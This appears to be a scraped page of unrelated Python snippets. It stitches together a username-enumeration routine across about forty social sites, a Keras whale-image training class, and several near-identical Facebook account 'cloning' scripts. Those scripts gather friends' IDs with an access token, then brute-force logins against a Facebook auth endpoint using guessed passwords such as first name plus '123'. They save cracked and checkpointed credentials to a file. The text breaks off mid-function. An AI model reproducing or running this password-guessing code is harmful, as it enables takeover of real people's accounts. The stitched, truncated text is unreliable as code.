    websites = {
        'LinkedIn': 'https://www.linkedin.com/in/',
        'Facebook': 'https://www.facebook.com/',
        'Twitter': 'https://twitter.com/',
        'Instagram': 'https://www.instagram.com/',
        'Youtube': 'https://www.youtube.com/user/',
        'Reddit': 'https://www.reddit.com/user/',
        'ProductHunt': 'https://www.producthunt.com/@',
        'PInterest': 'https://www.pinterest.com/',
        'Flickr': 'https://www.flickr.com/people/',
        'Vimeo': 'https://vimeo.com/',
        'Soundcloud': 'https://soundcloud.com/',
        'Disqus': 'https://disqus.com/',
        'Medium': 'https://medium.com/@',
        'AboutMe': 'https://about.me/',
        'Imgur': 'https://imgur.com/user/',
        # returns a landing page. to do
        'Flipboard': 'https://flipboard.com/',
        'Slideshare': 'https://slideshare.net/',
        'Spotify': 'https://open.spotify.com/user/',
        'Scribd': 'https://www.scribd.com/',
        'Patreon': 'https://www.patreon.com/',
        'BitBucket': 'https://bitbucket.org/',
        'GitLab': 'https://gitlab.com/',
        'Github': 'https://www.github.com/',
        'GoodReads': 'https://www.goodreads.com/',
        'Instructable': 'https://www.instructables.com/member/',
        'CodeAcademy': 'https://www.codecademy.com/',
        'Gravatar': 'https://en.gravatar.com/',
        'Pastebin': 'https://pastebin.com/u/',
        'FourSquare': 'https://foursquare.com/',
        'TripAdvisor': 'https://tripadvisor.com/members/',
        'Wikipedia': 'https://www.wikipedia.org/wiki/User:'******'HackerNews': 'https://news.ycombinator.com/user?id=',
        'CodeMentor': 'https://www.codementor.io/',
        'Trip': 'https://www.trip.skyscanner.com/user/',
        'Blogger': '.blogspot.com',
        'Wordpress': '.wordpress.com',
        'Tumbler': '.tumblr.com',
        'Deviantart': '.deviantart.com"',
        # ^ This website is either blocking/delaying the script
        'LiveJournel': '.livejournal.com',
        'Slack': '.slack.com',
    }

    p = ThreadPool(10)
    p.map(get_website_membership, list(websites.keys()))
    n_websites = len(list(websites.keys()))
    print('Summary: User {} has membership in {}/{} websites'.format(
        uname, counter, n_websites))
    print(
        f"Completed {len(websites)} queries in {time.time() - start_time:.2f}s"
    )

    return counter
Exemple #39
0
def pilih_super():
    peak = raw_input("\n\033[1;97m >>> \033[1;97m")
    if peak == "":
        print "\033[1;96m[!] \x1b[1;91mFill in correctly"
        pilih_super()
    elif peak == "1":
        os.system('clear')
        print logo
        print 42 * "\033[1;96m="
        jalan('\033[1;96m[✺] \033[1;93mGetting ID \033[1;97m...')
        r = requests.get(
            "https://graph.facebook.com/me/friends?access_token=" + toket)
        z = json.loads(r.text)
        for s in z['data']:
            id.append(s['id'])
    elif peak == "2":
        os.system('clear')
        print logo
        print 42 * "\033[1;96m="
        idt = raw_input(
            "\033[1;96m[+] \033[1;93mEnter ID \033[1;91m: \033[1;97m")
        try:
            jok = requests.get("https://graph.facebook.com/" + idt +
                               "?access_token=" + toket)
            op = json.loads(jok.text)
            print "\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mName\033[1;91m :\033[1;97m " + op[
                "name"]
        except KeyError:
            print "\033[1;96m[!] \x1b[1;91mID Not Found!"
            raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
            super()
        jalan('\033[1;96m[✺] \033[1;93mGetting IDs \033[1;97m...')
        r = requests.get("https://graph.facebook.com/" + idt +
                         "/friends?access_token=" + toket)
        z = json.loads(r.text)
        for i in z['data']:
            id.append(i['id'])
    elif peak == "3":
        os.system('clear')
        print logo
        print 42 * "\033[1;96m="
        try:
            idlist = raw_input(
                '\x1b[1;96m[+] \x1b[1;93mEnter File Path  \x1b[1;91m: \x1b[1;97m'
            )
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())
        except IOError:
            print '\x1b[1;96m[!] \x1b[1;91mFile Not Found'
            raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;96m]')
            super()
    elif peak == "0":
        menu()
    else:
        print "\033[1;96m[!] \x1b[1;91mFill in correctly"
        pilih_super()

    print "\033[1;96m[+] \033[1;93mTotal IDs \033[1;91m: \033[1;97m" + str(
        len(id))
    jalan('\033[1;96m[✺] \033[1;93mStarting \033[1;97m...')
    titik = ['.   ', '..  ', '... ']
    for o in titik:
        print(
            "\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCracking \033[1;97m"
            + o),
        sys.stdout.flush()
        time.sleep(1)
    print
    print('\x1b[1;96m[!] \x1b[1;93mTo Stop Process Press CTRL Then Press z')
    print 42 * "\033[1;96m="

    def main(arg):
        global cekpoint, oks
        user = arg
        try:
            os.mkdir('out')
        except OSError:
            pass
        try:
            a = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + toket)
            b = json.loads(a.text)
            pass1 = ('786786')
            data = urllib.urlopen(
                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
            )
            q = json.load(data)
            if 'access_token' in q:
                print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
                oks.append(user + pass1)
            else:
                if 'www.facebook.com' in q["error_msg"]:
                    print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
                    cek = open("out/checkpoint.txt", "a")
                    cek.write(user + "|" + pass1 + "\n")
                    cek.close()
                    cekpoint.append(user + pass1)
                else:
                    pass2 = b['first_name'] + '12345'
                    data = urllib.urlopen(
                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                    )
                    q = json.load(data)
                    if 'access_token' in q:
                        print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
                        oks.append(user + pass2)
                    else:
                        if 'www.facebook.com' in q["error_msg"]:
                            print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
                            cek = open("out/checkpoint.txt", "a")
                            cek.write(user + "|" + pass2 + "\n")
                            cek.close()
                            cekpoint.append(user + pass2)
                        else:
                            pass3 = b['first_name'] + '123'
                            data = urllib.urlopen(
                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                            )
                            q = json.load(data)
                            if 'access_token' in q:
                                print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
                                oks.append(user + pass3)
                            else:
                                if 'www.facebook.com' in q["error_msg"]:
                                    print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
                                    cek = open("out/checkpoint.txt", "a")
                                    cek.write(user + "|" + pass3 + "\n")
                                    cek.close()
                                    cekpoint.append(user + pass3)
                                else:
                                    pass4 = 'Pakistan'
                                    data = urllib.urlopen(
                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                    )
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
                                        oks.append(user + pass4)
                                    else:
                                        if 'www.facebook.com' in q[
                                                "error_msg"]:
                                            print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
                                            cek = open("out/checkpoint.txt",
                                                       "a")
                                            cek.write(user + "|" + pass4 +
                                                      "\n")
                                            cek.close()
                                            cekpoint.append(user + pass4)
                                        else:
                                            pass5 = b['first_name'] + '12'
                                            data = urllib.urlopen(
                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                + (user) +
                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                            )
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
                                                oks.append(user + pass5)
                                            else:
                                                if 'www.facebook.com' in q[
                                                        "error_msg"]:
                                                    print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
                                                    cek = open(
                                                        "out/checkpoint.txt",
                                                        "a")
                                                    cek.write(user + "|" +
                                                              pass5 + "\n")
                                                    cek.close()
                                                    cekpoint.append(user +
                                                                    pass5)
                                                else:
                                                    pass6 = b[
                                                        'first_name'] + '1234'
                                                    data = urllib.urlopen(
                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                        + (user) +
                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                    )
                                                    q = json.load(data)
                                                    if 'access_token' in q:
                                                        print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
                                                        oks.append(user +
                                                                   pass6)
                                                    else:
                                                        if 'www.facebook.com' in q[
                                                                "error_msg"]:
                                                            print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
                                                            cek = open(
                                                                "out/checkpoint.txt",
                                                                "a")
                                                            cek.write(user +
                                                                      "|" +
                                                                      pass6 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass6)
                                                        else:
                                                            a = requests.get(
                                                                'https://graph.facebook.com/'
                                                                + user +
                                                                '/?access_token='
                                                                + toket)
                                                            b = json.loads(
                                                                a.text)
                                                            pass7 = b[
                                                                'first_name'] + '1122'
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            q = json.load(data)
                                                            if 'access_token' in q:
                                                                print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
                                                                oks.append(
                                                                    user +
                                                                    pass7)
                                                            else:
                                                                if 'www.facebook.com' in q[
                                                                        "error_msg"]:
                                                                    print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
                                                                    cek = open(
                                                                        "out/checkpoint.txt",
                                                                        "a")
                                                                    cek.write(
                                                                        user +
                                                                        "|" +
                                                                        pass7 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)

        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print 42 * "\033[1;96m="
    print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mProcess Has Been Completed \033[1;97m....'
    print "\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str(
        len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint))
    print(
        "\033[1;96m[+] \033[1;92mCP File Has Been Saved \033[1;91m: \033[1;97mout/checkpoint.txt"
    )
    raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
    menu()
class TrainingDataFast(Sequence):
    def __init__(self, score_list, steps=1000, batch_size=32):
        """
        @param score the cost matrix for the picture matching
        @param steps the number of epoch we are planning with this score matrix
        """
        super(TrainingDataFast, self).__init__()
        #self.score      = -score # Maximizing the self.score is the same as minimuzing -score.
        self.score = np.zeros((len(train), len(train)))
        start = 0
        for s in score_list:
            the_size = s.shape[0]
            self.score[start:start + the_size, start:start + the_size] = -s
            start += the_size

        self.steps = steps
        self.batch_size = batch_size
        for ts in w2ts.values():
            idxs = [t2i[t] for t in ts]
            for i in idxs:
                for j in idxs:
                    self.score[
                        i,
                        j] = 10000.0  # Set a large value for matching whales -- eliminates this potential pairing

        self.on_epoch_end()
        self.p = ThreadPool(8)

    def __getitem__(self, index):
        start = self.batch_size * index
        end = min(start + self.batch_size, len(self.match) + len(self.unmatch))
        size = end - start
        assert size > 0

        def _read_for_training_expand_dim(p):
            return np.expand_dims(read_for_training(p), 0).astype(K.floatx())

        i_start, i_end = start // 2, int(start // 2 + np.ceil(size / 2))
        unroll_match = [[m[0], m[1], u[0], u[1]] for m, u in zip(
            self.match[i_start:i_end], self.unmatch[i_start:i_end])]
        unroll_match = [i for item in unroll_match for i in item]
        unroll_train_images = np.concatenate(
            self.p.map(_read_for_training_expand_dim, unroll_match), 0)
        #print("\nunroll_train_images shape: {}\n".format(unroll_train_images.shape))
        unroll_train_images = preprocess_image(unroll_train_images)

        ## a[0], b[0], a[1], b[1], a[2], b[2], a[3], a[4] ...
        a_indices = list(range(0, len(unroll_train_images), 2))
        a = unroll_train_images[a_indices]
        b_indices = list(range(1, len(unroll_train_images), 2))
        b = unroll_train_images[b_indices]
        c = np.zeros((size, 1), dtype=K.floatx())
        for i in range(0, size, 2):
            c[i, 0] = 1  # This is a match
            c[i + 1, 0] = 0  # Different whales

        return [a, b], c

    def on_epoch_end(self):
        if self.steps <= 0: return  # Skip this on the last epoch.
        self.steps -= 1
        self.match = [
        ]  # len(self.match) == len(train), each element is a pair of images that match the same label
        self.unmatch = []
        if segment:
            # Using slow scipy. Make small batches.
            # Because algorithm is O(n^3), small batches are much faster.
            # However, this does not find the real optimum, just an approximation.
            tmp = []
            batch = math.ceil(self.score.shape[0] /
                              LINEAR_ASSIGNMENT_SEGMENT_SIZE)
            print("\nScore matrix size: {} and lapjv batch size: {}".format(
                self.score.shape[0], batch))
            for start in range(0, self.score.shape[0], batch):
                end = min(self.score.shape[0], start + batch)
                #_, x = linear_sum_assignment(self.score[start:end, start:end])
                #_, x = hungarian.lap(self.score[start:end, start:end])
                with timer("lapjv ops 1 round"):
                    _, _, x = lapjv(self.score[start:end, start:end])
                tmp.append(x + start)
            x = np.concatenate(tmp)
        else:
            print("Running lapjv on entire score matrix! size: ".format)
            with timer("lapjv ops (entire data) "):
                _, _, x = lapjv(
                    self.score)  # Solve the linear assignment problem

        y = np.arange(len(x), dtype=np.int32)

        # Compute a derangement for matching whales
        for ts in w2ts.values():
            d = ts.copy()
            while True:
                random.shuffle(d)
                if not np.any(ts == d): break
            for ab in zip(ts, d):
                self.match.append(ab)

        # Construct unmatched whale pairs from the LAP solution.
        for i, j in zip(x, y):
            if i == j:
                print(self.score)
                print(x)
                print(y)
                print(i, j)
            assert i != j
            self.unmatch.append((train[i], train[j]))

        # Force a different choice for an eventual next epoch.
        self.score[x, y] = 10000.0
        self.score[y, x] = 10000.0
        random.shuffle(self.match)
        random.shuffle(self.unmatch)
        # print(len(self.match), len(train), len(self.unmatch), len(train))
        assert len(self.match) == len(train) and len(
            self.unmatch) == len(train)

    def __len__(self):
        return (len(self.match) + len(self.unmatch) + self.batch_size -
                1) // self.batch_size
Exemple #41
0
def pilih_super():
    peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m")
    if peak == "":
        print "\x1b[1;91mFill in correctly"
        pilih_super()
    elif peak == "1":
        os.system('clear')
        print logo
        print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»"
        jalan('\033[1;93mGetting IDs \033[1;97m...')
        r = requests.get(
            "https://graph.facebook.com/me/friends?access_token=" + toket)
        z = json.loads(r.text)
        for s in z['data']:
            id.append(s['id'])
    elif peak == "2":
        os.system('clear')
        print logo
        idt = raw_input(
            "\033[1;96m[+] \033[1;93mEnter ID\033[1;93m: \033[1;97m")
        print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»"
        try:
            jok = requests.get("https://graph.facebook.com/" + idt +
                               "?access_token=" + toket)
            op = json.loads(jok.text)
            print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"]
        except KeyError:
            print "\x1b[1;91mID Not Found!"
            raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
            super()
        print "\033[1;93mGetting IDs\033[1;93m..."
        r = requests.get("https://graph.facebook.com/" + idt +
                         "/friends?access_token=" + toket)
        z = json.loads(r.text)
        for i in z['data']:
            id.append(i['id'])
    elif peak == "0":
        menu()
    else:
        print "\x1b[1;91mFill in correctly"
        pilih_super()

    print "\033[1;93mTotal IDs\033[1;93m: \033[1;97m" + str(len(id))
    jalan('\033[1;93mPlease Wait\033[1;93m...')
    titik = ['.   ', '..  ', '... ']
    for o in titik:
        print("\r\033[1;93mCloning\033[1;93m" + o),
        sys.stdout.flush()
        time.sleep(1)
    print "\n\033[1;97m«-----\x1b[1;91m【To Stop Process Press CTRL+Z】\033[1;97m----»"
    print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»"
    jalan(' \033[1;93mPlz Wait Cloned Accounts Will Appear Here')
    print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»"

    def main(arg):
        global cekpoint, oks
        user = arg
        try:
            os.mkdir('out')
        except OSError:
            pass  #Dev:Mk_tricks
        try:
            a = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + toket)
            b = json.loads(a.text)
            pass1 = ('786786')
            data = urllib.urlopen(
                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
            )
            q = json.load(data)
            if 'access_token' in q:
                print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;96m- ' + user + ' -\x1b[1;92m✧\x1b[1;96m-' + pass1
                oks.append(user + pass1)
            else:
                if 'www.facebook.com' in q["error_msg"]:
                    print '\x1b[1;96m[Checkpoint] ' + user + ' \x1b[1;96m| ' + pass1
                    cek = open("out/checkpoint.txt", "a")
                    cek.write(user + "|" + pass1 + "\n")
                    cek.close()
                    cekpoint.append(user + pass1)
                else:
                    pass2 = 'Bangladesh'
                    data = urllib.urlopen(
                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                    )
                    q = json.load(data)
                    if 'access_token' in q:
                        print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass2
                        oks.append(user + pass2)
                    else:
                        if 'www.facebook.com' in q["error_msg"]:
                            print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass2
                            cek = open("out/checkpoint.txt", "a")
                            cek.write(user + "|" + pass2 + "\n")
                            cek.close()
                            cekpoint.append(user + pass2)
                        else:
                            pass3 = b['first_name'] + '12345'
                            data = urllib.urlopen(
                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                            )
                            q = json.load(data)
                            if 'access_token' in q:
                                print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass3
                                oks.append(user + pass3)
                            else:
                                if 'www.facebook.com' in q["error_msg"]:
                                    print '\x1b[1;92m[Checkpoint] ' + user + ' \x1b[1;92m| ' + pass3
                                    cek = open("out/checkpoint.txt", "a")
                                    cek.write(user + "|" + pass3 + "\n")
                                    cek.close()
                                    cekpoint.append(user + pass3)
                                else:
                                    pass4 = b['first_name'] + '123'
                                    data = urllib.urlopen(
                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                    )
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass4
                                        oks.append(user + pass4)
                                    else:
                                        if 'www.facebook.com' in q[
                                                "error_msg"]:
                                            print '\x1b[1;93m[Checkpoint] ' + user + ' \x1b[1;93m| ' + pass4
                                            cek = open("out/checkpoint.txt",
                                                       "a")
                                            cek.write(user + "|" + pass4 +
                                                      "\n")
                                            cek.close()
                                            cekpoint.append(user + pass4)
                                        else:
                                            pass5 = b['first_name'] + '786'
                                            data = urllib.urlopen(
                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                + (user) +
                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                            )
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass5
                                                oks.append(user + pass5)
                                            else:
                                                if 'www.facebook.com' in q[
                                                        "error_msg"]:
                                                    print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass5
                                                    cek = open(
                                                        "out/checkpoint.txt",
                                                        "a")
                                                    cek.write(user + "|" +
                                                              pass5 + "\n")
                                                    cek.close()
                                                    cekpoint.append(user +
                                                                    pass5)
                                                else:
                                                    pass6 = 'pakistan'
                                                    data = urllib.urlopen(
                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                        + (user) +
                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                    )
                                                    q = json.load(data)
                                                    if 'access_token' in q:
                                                        print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass6
                                                        oks.append(user +
                                                                   pass6)
                                                    else:
                                                        if 'www.facebook.com' in q[
                                                                "error_msg"]:
                                                            print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass6
                                                            cek = open(
                                                                "out/checkpoint.txt",
                                                                "a")
                                                            cek.write(user +
                                                                      "|" +
                                                                      pass6 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass6)
                                                        else:
                                                            a = requests.get(
                                                                'https://graph.facebook.com/'
                                                                + user +
                                                                '/?access_token='
                                                                + toket)
                                                            b = json.loads(
                                                                a.text)
                                                            pass7 = b[
                                                                'first_name'] + '1234'
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            q = json.load(data)
                                                            if 'access_token' in q:
                                                                print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass7
                                                                oks.append(
                                                                    user +
                                                                    pass7)
                                                            else:
                                                                if 'www.facebook.com' in q[
                                                                        "error_msg"]:
                                                                    print '\x1b[1;91mCheckpoint ' + user + ' \x1b[1;91m| ' + pass7
                                                                    cek = open(
                                                                        "out/checkpoint.txt",
                                                                        "a")
                                                                    cek.write(
                                                                        user +
                                                                        "|" +
                                                                        pass7 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)

        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»"
    print "  \033[1;91m«---------Developed By Terrible Killers Gang------------»"  #Dev:Md Mishat
    print '\033[1;92mProcess Has Been Completed\033[1;92m....'
    print "\033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str(
        len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint))
    print """
              .--,       .--,
             ( (  \.---./  ) )
              '.__/o   o\__.'
                 {=  ^  =}
                  >  -  <
.-------------.""`-------`"".-------------.
: \033[1;92m     Hope You Terrible Killers Gang   \033[1;93m :
'-----------------------------------------' 
                ___)( )(___
               (((__) (__)))"""

    raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
    menu()
Exemple #42
0
def pilih_super():
	peak = raw_input("\n\033[1;94mChoose an Option>>> \033[1;97m")
	if peak =="":
		print "\x1b[1;91mFill in correctly"
		pilih_super()
	elif peak =="1":
		os.system('clear')
		print logo
		print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•"
		jalan('\033[1;95mGetting IDs \033[1;93m...')
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif peak =="2":
		os.system('clear')
		print logo
		idt = raw_input("\033[1;96m[⁜⁜] \033[1;92mEnter ID\033[1;93m: \033[1;97m")
		print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•"
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"]
		except KeyError:
			print"\x1b[1;92mID Not Found!"
			raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
			super()
		print"\033[1;93mGetting IDs\033[1;92m..."
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
	elif peak =="0":
		menu()
	else:
		print "\x1b[1;91mFill in correctly"
		pilih_super()
	
	print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id))
	jalan('\033[1;92mPlease Wait\033[1;93m...')
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;91mStart Cloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1)
	print "\n\033[1;92m⁜⁜⁜⁜⁜⁜⁜⁜⁜\x1b[1;93m•◈•Stop Process Press CTRL+Z•◈•\033[1;92m⁜⁜⁜⁜⁜⁜⁜"
	print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;95m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•"
	jalan(' \033[1;93m⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜\033[1;94mCloning Start plzzz Wait\033[1;93m⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜')
	print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;95m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•"
	
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('out')
		except OSError:
			pass #Dev:Z_K_TECH
		try:
			a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			b = json.loads(a.text)
			pass1 = ('786786')
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if 'access_token' in q:
